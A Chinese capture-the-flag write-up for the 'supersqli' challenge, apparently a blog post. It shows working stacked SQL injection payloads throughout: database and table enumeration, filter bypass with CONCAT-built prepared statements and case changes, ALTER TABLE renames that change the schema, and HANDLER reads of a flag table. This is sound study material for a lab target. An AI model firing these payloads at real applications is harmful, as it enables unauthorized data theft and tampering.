攻防世界 supersqli

supersqli

一般sql语句的题都是先判断,经过测试,是单引号注入

999' union select database(),2#

img

可以发现很多关键字都被过滤了select,所以联合查询,报错注入,布尔和时间盲注都不能用了,可以想到堆叠注入。

1';show databases;#

img

1'; show tables;#

img

1';show columns from `19198109311145`;#

纯数字的表需要加上引号

img

然后我们要知道如何拿到这个列中的flag的数据

我记得之前我是做过的,还是卡在了这里QAQ

攻防世界(六)supersqli - HUGBOY - 博客园 (cnblogs.com)

法1 预编译

预编译的语句是什么?

通常一条sql在db接收到并且最终执行完成可以分为以下三个部分:

  1. 语义和词法的解析
  2. 优化sql语句,制定执行计划
  3. 执行并且返回结果

我们将这种语句称为Immediate Statements

但是很多情况,我们的一条sql语句可能会被反复执行,或者每次执行的时候只有个别的值是不同的(比如query的where字句值不同,update的set子句,insert的value值),如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。

所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements预编译语句的优势在于归纳为:**一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。**当然就优化来说,很多时候最优的执行计划不是光靠知道sql语句的模板就能决定了,往往就是需要通过具体值来预估出成本代价

MySQL的预编译功能

注意MySQL的老版本(4.1之前)是不支持服务端预编译的,但基于目前业界生产环境普遍情况,基本可以认为MySQL支持服务端预编译。

下面我们来看一下MySQL中预编译语句的使用。
首先我们有一张测试表t,结构如下所示:

mysql> show create table t\G
*************************** 1. row ***************************
       Table: t
Create Table: CREATE TABLE `t` (
  `a` int(11) DEFAULT NULL,
  `b` varchar(20) DEFAULT NULL,
  UNIQUE KEY `ab` (`a`,`b`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8
1 row in set (0.00 sec)

3.1 编译

我们接下来通过 PREPARE stmt_name FROM preparable_stm的语法来预编译一条sql语句

mysql> prepare ins from 'insert into t select ?,?';
Query OK, 0 rows affected (0.00 sec)
Statement prepared

3.2 执行

我们通过EXECUTE stmt_name [USING @var_name [, @var_name] ...]的语法来执行预编译语句

mysql> set @a=999,@b='hello';
Query OK, 0 rows affected (0.00 sec)

mysql> execute ins using @a,@b;
Query OK, 1 row affected (0.01 sec)
Records: 1  Duplicates: 0  Warnings: 0

mysql> select * from t;
+------+-------+
| a    | b     |
+------+-------+
|  999 | hello |
+------+-------+
1 row in set (0.00 sec)

可以看到,数据已经被成功插入表中。

MySQL中的预编译语句作用域是session级,但我们可以通过max_prepared_stmt_count变量来控制全局最大的存储的预编译语句。

mysql> set @@global.max_prepared_stmt_count=1;
Query OK, 0 rows affected (0.00 sec)

mysql> prepare sel from 'select * from t';
ERROR 1461 (42000): Can't create more than max_prepared_stmt_count statements (current value: 1)

当预编译条数已经达到阈值时可以看到MySQL会报如上所示的错误。

3.3 释放

如果我们想要释放一条预编译语句,则可以使用{DEALLOCATE | DROP} PREPARE stmt_name的语法进行操作:

mysql> deallocate prepare ins;
Query OK, 0 rows affected (0.00 sec)

okk,现在我们要执行的是

select * from `1919810931114514`;

预编译的语法:

set 用于设置变量和值
prepare 用于预备一个语句,并赋予名称,以后可以引用到该语句
execute 执行语句
deallocate prepare 用来释放掉预处理的语句
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

发现弹出来了

img

这里是用strstr检测到了setprepare关键字,但是strstr这个函数并不能区分大小写,所以可以用大小写将其绕过

-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;

法二 更改表名和列名

1';show columns from words;

img

words表中有两个字段 id 、data。其中id为整形int(10)、data为字符型varchar(100),而数字表中只有一个字段

后台的查询语可能是:

select * from words where id=

所以我们可以将表1919810931114514名字改成words,将flag列的名字改成id或者data,就可以得到flag的内容了

words名改为word123     alter table words rename to words123;

把数字表名改为 words   alter table `1919810931114514` rename to words;

现在的words表中没有id字段,我们把flag字段名改为id     alter table words change flag id varchar(100);

构造的语句为

1'; alter table words rename to words123;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#

最后还要

1' or 1=1#

法三 handler语句代替select查询

handler的用法

handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

所以

1';
handler `1919810931114514` open as cyan;
handler cyan read first;
handler cyan close;#

最后

1' or 1=1#

image-20240907192952272

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值